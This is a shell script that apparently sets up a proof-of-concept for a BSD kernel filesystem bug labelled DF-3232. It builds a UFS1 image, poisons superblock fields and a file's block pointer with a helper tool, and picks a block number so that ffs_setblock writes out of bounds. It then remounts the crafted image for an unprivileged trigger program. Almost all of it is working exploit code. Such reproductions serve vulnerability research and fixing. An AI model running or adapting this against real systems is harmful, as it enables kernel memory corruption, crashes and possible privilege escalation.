#!/bin/sh
# DF-3232 setup (guest, as root): build a stock 128MB UFS1 image, create
# the "victim" file (one 8K block), unmount, then poison the offline
# image: fs_fragshift 3 -> 0, fs_fpg -> 131072, softdep flag cleared,
# victim's di_db[0] -> $BNO.  Remount crafted RW.
#
# usage: setup.sh <bno>
set -e
BNO_ARG=${1:-16000}
IMG=/tmp/df3232.img

dd if=/dev/zero of=$IMG bs=1m count=128 status=none
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 $IMG
newfs -b 8192 -f 1024 /dev/vn0 >/tmp/newfs3232.out 2>&1 || {
	cat /tmp/newfs3232.out; exit 1; }
grep -E "bsize|fsize|frag|cylinders|soft" /tmp/newfs3232.out || true
mount -t ufs /dev/vn0 /mnt
dd if=/dev/zero of=/mnt/victim bs=8192 count=1 status=none
chmod 666 /mnt/victim
INO=$(ls -i /mnt/victim | awk '{print $1}')
echo "[*] victim inode = $INO"
ls -li /mnt/victim
umount /mnt
vnconfig -u vn0

# Auto-pick: 8-aligned frag whose bitmap-byte target (cg0 at frag 24 ->
# byte 24576; + cg_freeoff 1628 + bno) is a ZERO byte past the bitmap end
# (5632 bytes) but inside the mapped 8192-byte cg buffer, so
# ffs_isfreeblock reads 0 and ffs_setblock performs the OOB write.
BNO=$BNO_ARG
if [ "$BNO" = pick ]; then
	BNO=5648
	while [ $BNO -le 6560 ]; do
		OFF=$((24576 + 1628 + BNO))
		B=$(od -An -tu1 -j $OFF -N 1 $IMG | tr -d " ")
		if [ "$B" = 0 ]; then break; fi
		BNO=$((BNO + 8))
	done
	echo "[*] auto-picked BNO=$BNO (target byte offset $((24576+1628+BNO)))"
fi

/tmp/sbtool2 $IMG info
/tmp/sbtool2 $IMG poison 131072
# victim's di_db[0] -> $BNO so one ftruncate frees exactly that block
/tmp/sbtool2 $IMG setdb $INO $BNO
/tmp/sbtool2 $IMG info

vnconfig -c vn0 $IMG
mount -t ufs /dev/vn0 /mnt
chmod 777 /mnt
mount | grep "vn0.*mnt" || true
echo "[*] crafted image mounted; BNO=$BNO; trigger as maxx: /tmp/trig3232 /mnt/victim"
